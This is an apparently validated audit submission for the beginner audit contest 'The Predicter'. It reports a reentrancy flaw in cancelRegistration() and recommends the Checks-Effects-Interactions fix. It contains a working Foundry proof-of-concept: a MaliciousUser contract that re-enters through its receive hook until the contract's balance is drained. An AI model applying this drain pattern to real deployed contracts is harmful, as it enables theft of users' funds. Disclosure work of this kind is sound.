First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in cancelRegistration() can lead to funds draining

vinica_boy

Summary

cancelRegistration() in ThePredicter.sol allows not approved users to withdraw their entrance fee, but due to a reentrancy vulnerability in the function, all balance of the contract can be drained

Vulnerability Details

cancelRegistration does not follow the "Checks-Effects-Interactions" pattern which leads to a reentrancy vulnerability:
First, we send the ether to the unapproved player and then we update the state. If the recipient of the funds is a malicious contract, it can take advantage of the receive hook and execute the cancelRegistration again until there are enough funds.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
​
contract MaliciousUser {
address thePredicter;
uint256 entranceFee;
​
constructor(address _thePredicter, uint256 _entranceFee) {
thePredicter = _thePredicter;
entranceFee = _entranceFee;
}
​
function pwn() external {
ThePredicter(thePredicter).register{value: entranceFee}();
ThePredicter(thePredicter).cancelRegistration();
}
​
receive() external payable {
if (thePredicter.balance >= entranceFee) {
ThePredicter(thePredicter).cancelRegistration();
}
}
}
​
contract ThePredicterPocTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public friend = makeAddr("friend");
address public stranger = makeAddr("stranger");
​
uint256 constant ENTRANCE_FEE = 0.04 ether;
uint256 constant PREDICTION_FEE = 0.0001 ether;
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), ENTRANCE_FEE, PREDICTION_FEE);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
​
vm.deal(friend, ENTRANCE_FEE * 2);
vm.deal(stranger, ENTRANCE_FEE);
}
​
function testReentrancy() public {
for (uint256 i; i < 10; ++i) {
address user = makeAddr(string(abi.encodePacked("user", i)));
vm.deal(user, ENTRANCE_FEE);
vm.prank(user);
thePredicter.register{value: ENTRANCE_FEE}();
}
​
MaliciousUser malUser = new MaliciousUser(address(thePredicter), ENTRANCE_FEE);
vm.deal(address(malUser), ENTRANCE_FEE);
malUser.pwn();
​
vm.assertEq(address(thePredicter).balance, 0);
vm.assertEq(address(malUser).balance, ENTRANCE_FEE * 11);
}
}

Impact

All funds of the contract can be drained because of this issue.

Tools Used

Manual review.

Recommendations

Consider implementing the "Checks-Effects-Interactions" pattern - we should first update the state and then make external call to send ether. This will mitigate the vulnerability.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.